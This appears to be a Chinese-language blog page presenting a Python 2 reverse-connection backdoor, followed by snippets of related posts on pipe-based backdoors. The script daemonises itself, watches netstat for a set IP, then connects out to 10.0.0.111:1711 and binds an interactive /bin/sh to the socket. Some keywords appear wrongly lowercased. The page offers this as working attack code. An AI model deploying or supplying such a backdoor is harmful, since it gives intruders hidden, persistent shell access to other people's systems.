1)首先daemon化2)然後用 netstat命令,檢測是否指定的ip(192.168.1.111)連線上,有,則啟用無,則睡眠幾分鐘(這個時間可根據需要自行調節)3)啟用後,開乙個子程序,建立socket,與執行了監聽程式的ip進行連線,並執行乙個shell,將該shell的輸入輸出重定向到socket.4)父程序則等待 shell子程序的執行,如果執行完畢,就繼續 檢測周而復始…
#!/usr/bin/python
import os
import sys
import socket
import time
def daemon ():
try:
pid = os.fork()
if pid > 0:
sys.exit(0)
except oserror, e:
print >>sys.stderr, "fork #1 failed: %d (%s)" % (e.errno, e.strerror)
sys.exit(1)
os.chdir("/")
os.setsid()
os.umask(0)
try:
pid = os.fork()
if pid > 0:
print "daemon pid %d" % pid
sys.exit(0)
except oserror, e:
print >>sys.stderr, "fork #2 failed: %d (%s)" % (e.errno, e.strerror)
sys.exit(1)
def shell (host = '10.0.0.111', port = 1711):
s = socket.socket(socket.af_inet, socket.sock_stream)
try:
s.connect((host, port))
f = s.fileno()
os.dup2(f, 0)
os.dup2(f, 1)
os.dup2(f, 2)
os.execl("/bin/sh", "sh", "-i")
except socket.error, (errno, errstr):
print "connect error%d\n" % os.getpid()
time.sleep(10)
sys.exit(127)
if __name__ == "__main__":
daemon()
while(true):
(cin, cout) = os.popen4("netstat -nt | grep 192.168.1.111")
str = cout.read()
try:
os.wait()
except oserror, e:
pass
if str != '':
print str
try:
pid = os.fork()
if pid > 0:
print 'parent wait:%d\n' % os.getpid()
try:
os.wait()
except oserror, e:
pass
else:
print 'ready to connect:%d\n' % os.getpid()
shell()
except oserror, e:
sys.exit(1)
else:
print "start sleep 5 mins:%d\n" % os.getpid()
time.sleep(10)
安全之路 單管道反向連線後門解析
單管道後門相對於雙管道後門 參照前面發的blog 很明顯單管道後門使用了 cmd.exe c 命令 的用法在進行cmd程序建立時就順帶執行了命令,所以省去了由socket發往cmd的管道。同時筆者為樣例程式加上了反向連線的模組,反向連線由宿主機作為client端,操縱者的nc或telnet等作為se...
黑客程式設計技術 反向後門連線的實現
大過年的,一早收到第一封rejection from cs u washington seattle,鬱悶。估計明天起還有一批rej要來,何時有offer啊!淡定淡定,要讓自己變強大!恩恩!學習去!反向後門連線,就是把後門程式植入到伺服器上,由伺服器主動發起對hacker的連線,由此hacker可以...
1k 程式體積1kb 反向連線,零管道後門
1k 程式體積1kb 反向連線,零管道後門 寫shellcode的時候寫的 c版本 沒用就丟出來了 code 1k 程式體積1kb 反向連線,零管道後門 by anskya 說明 不用我多說了吧.黑客一般都會使用的後門程式.這裡只是簡單的演示一下.沒有新增程序隱藏功能 程式可以在win9x,win2...